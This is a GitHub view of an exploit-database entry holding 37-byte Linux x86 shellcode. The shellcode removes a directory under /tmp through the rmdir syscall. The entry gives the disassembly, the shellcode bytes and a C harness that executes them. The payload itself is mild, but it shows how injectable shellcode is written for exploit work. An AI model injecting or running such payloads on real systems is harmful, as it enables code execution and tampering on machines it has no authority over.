forked from offensive-security/exploitdb
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy path35519.txt
More file actions
executable file
·37 lines (28 loc) · 1.24 KB
/
Copy path35519.txt
File metadata and controls
executable file
·37 lines (28 loc) · 1.24 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
/*
Title: Linux x86 rmdir - 37 bytes
Author: kw4 <kw4.nop@gmail.com>
useful for testing purposes
08048060 <_start>:
8048060: 31 c0 xor %eax,%eax
8048062: 50 push %eax
8048063: 68 6f 6c 68 6f push $0x6f686c6f
8048068: 68 68 6f 6c 68 push $0x686c6f68
804806d: 68 2f 68 6f 6c push $0x6c6f682f
8048072: 68 2f 74 6d 70 push $0x706d742f
8048077: 89 e3 mov %esp,%ebx
8048079: b0 28 mov $0x28,%al
804807b: cd 80 int $0x80
804807d: 31 c0 xor %eax,%eax
804807f: 89 c3 mov %eax,%ebx
8048081: b0 01 mov $0x1,%al
8048083: cd 80 int $0x80
*/
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x31\xc0\x50\x68\x6f\x6c\x68\x6f\x68\x68\x6f\x6c\x68\x68\x2f\x68\x6f\x6c\x68\x2f\x74\x6d\x70\x89\xe3\xb0\x28\xcd\x80\x31\xc0\x89\xc3\xb0\x01\xcd\x80";
main() {
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}